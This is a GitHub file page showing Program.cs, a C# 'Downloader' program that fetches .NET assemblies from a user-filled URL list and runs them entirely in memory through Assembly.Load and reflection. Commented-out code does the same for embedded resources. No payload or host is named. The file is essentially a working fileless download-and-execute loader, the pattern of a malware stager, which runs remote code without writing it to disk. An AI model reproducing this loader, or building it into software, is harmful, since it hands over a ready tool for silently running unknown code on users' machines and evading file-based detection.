-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathProgram.cs
More file actions
90 lines (82 loc) · 3.29 KB
/
Program.cs
File metadata and controls
90 lines (82 loc) · 3.29 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
using System.IO;
using System.Collections.Generic;
using System.Net;
using System.Reflection;
using System.Threading;
namespace Downloader
{
class Program
{
//Put direct urls in this list
public static List<string> urls = new List<string>(new string[] { ""
});
//static void CopyStream(Stream input, Stream output)
//{
// byte[] buffer = new byte[16 * 1024];
// int read;
// while ((read = input.Read(buffer, 0, buffer.Length)) > 0)
// {
// output.Write(buffer, 0, read);
// }
//}
//Runs a resource embedded in the exe
//static void RunResource(String embeddedFileName)
//{
// Thread t = new Thread(() =>
// {
// var currentAssembly = Assembly.GetExecutingAssembly();
// var arrResources = currentAssembly.GetManifestResourceNames();
// foreach (var resourceName in arrResources)
// {
// if (resourceName.ToUpper().EndsWith(embeddedFileName.ToUpper()))
// {
// Stream memStream = currentAssembly.GetManifestResourceStream(resourceName);
// var ms = new MemoryStream();
// CopyStream(memStream, ms);
// RunFromAssembly(ms.ToArray());
// }
// }
// });
// t.SetApartmentState(ApartmentState.STA);
// t.Start();
//}
static void RunFromAssembly(byte[] assembly, object[] parameters)
{
Assembly a = Assembly.Load(assembly);
MethodInfo method = a.EntryPoint;
if (method != null)
{
object o = a.CreateInstance(method.Name);
method.Invoke(o, parameters);
}
}
static void Main(string[] args)
{
List<object[]> parameters = new List<object[]>();
// Here you can add parameters for each process
// examples:
// parameters.Add(new object[] { "Param1Proc1", "Param2Proc1" });
// parameters.Add(new object[] { "Param1Proc2", "Param2Proc2" });
// Remember you must have the same number of parameter object arrays as the urls
parameters.Add(new object[] { "ExampleParameter" });
for (int i=0; i<urls.Count; i++)
{
string url = urls[i];
object[] param = parameters[i];
//Downloads files at the same time and runs them after they are finished downloading
Thread t = new Thread(() =>
{
using (var client = new WebClient())
{
ServicePointManager.Expect100Continue = true;
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
var memStream = new MemoryStream(client.DownloadData(url));
RunFromAssembly(memStream.ToArray(), param);
}
});
t.SetApartmentState(ApartmentState.STA);
t.Start();
}
}
}
}